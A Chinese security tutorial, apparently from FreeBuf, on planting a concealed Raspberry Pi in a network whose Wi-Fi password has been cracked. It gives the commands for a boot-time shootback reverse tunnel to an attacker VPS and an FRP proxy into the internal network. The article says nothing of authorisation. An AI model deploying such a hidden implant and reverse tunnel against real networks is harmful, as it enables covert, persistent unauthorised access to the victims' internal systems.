官方公众号企业安全新浪微博

FreeBuf+小程序把安全装进口袋

• 无线安全

前言

上一篇无线安全实战基础篇介绍了无线渗透一些基础内容，得到了很多大佬的关注和认可，决定再写一篇关于无线安全和内网渗透相结合的基础技术文章。

当我们已经拿到一个无线密码时如何开展内网渗透，我相信很多小朋友都想过这个问题，今天就来介绍一种通过树莓派的方式进行内网渗透的办法。

如何烧录树莓派可以从网上找找资料推荐：树莓派基础。

前提条件

1.USB版树莓派（包括zw板子+usb扩展版+3D打印外壳）+sd卡+vps：投入大概195+29=224，VPS价格不等，只要能用即可，玩安全没几个vps不应该吧。

2.无线和密码，对于无线的破解参考之前写过的无线安全实战基础篇。

3.USB供电口，尽量隐蔽一点，大家自己发挥吧，有无线有电就行，可以试试充电宝。

无线配置

首先是配置树莓派的无线功能。

sudo nano /etc/wpa_supplicant/wpa_supplicant.conf
配置好无线后ctrl+x退出。

多个无线热点可以依次往下写。

最后重启树莓派，输入“sudo shutdown -r now"，重启后树莓派自动获取wifi网络，如下：

连不上无线建议大家多在自己的热点测试一下。

参考链接。

管理树莓派

对于ssh配置，可以参考网上的其他资料，下面推荐一款个人比较喜欢使用的代理工具shootback，https://github.com/aploium/shootback，主要目标是将树莓派的ssh代理到VPS上方便管理使用。为了防止断电重启建议把脚本运行在开机启动脚本中：/etc/init.d/ 新建文件network_test.sh,赋予权限chmod +777 network_test.sh。

加入反向连接命令：

nohup python /home/pi/sh/slaver.py  -m vpsip:10001 -t 127.0.0.1:22 --ssl &

chmod +x network_test.sh

将开启启动的脚本加入/etc/rc.local

切记要执行的命令要放在exit 0前面！

vps运行命令：

python3 master.py -m 0.0.0.0:10001 -c 0.0.0.0:10023 --ssl

ssh访问vps的10023端口：

内网渗透

做内网渗透一定会用到的一款代理工具是FRP，你不用可能就亏大了。个人感觉SH做单端口代理尤其是Linux的还是很好用的，当然你也可以打包成exe文件使用。做全局代理还是用frp吧，即使你有能力拿到一个webshell,那么我还是建议吧frp用上，frp在性能上会给你带来惊喜的。

要使用树莓派对应的frp版本：https://github.com/fatedier/frp/releases/tag/v0.34.2

树莓派客户端frpc.ini配置：

VPS服务端frps.ini配置：

启动服务端：

./frps -c frps.ini

启动客户端：

./frpcsmp -c frpc.ini

然后就是用sockscap64进行局部应用代理访问树莓派所在目标网络。

或者用proxifler进行全局代理。

然后访问内网业务，略……

踩过的坑

1.树莓派的输入法
树莓派默认的输入法没法用，推荐个链接大家自己解决吧。

2.把frp也加入到开机启动项的尴尬。
多加了个启动启动项就登录不了了，卡得没法执行命令。frp还是建议大家手动开吧。

3.切记要执行的命令要放在exit 0前面！否则开机不执行。

参考

无线渗透基础
https://www.freebuf.com/articles/wireless/243445.html

树莓派基础：
https://www.yahboom.com/build.html?id=1806&cid=203

树莓派连接无线
https://baijiahao.baidu.com/s?id=1616154973730190476&wfr=spider&for=pc

反向代理工具sh
https://github.com/aploium/shootback

反向代理工具frp树莓派版
https://github.com/fatedier/frp/releases/tag/v0.34.2

树莓派输入法问题
https://blog.csdn.net/kongguguren/article/details/80039922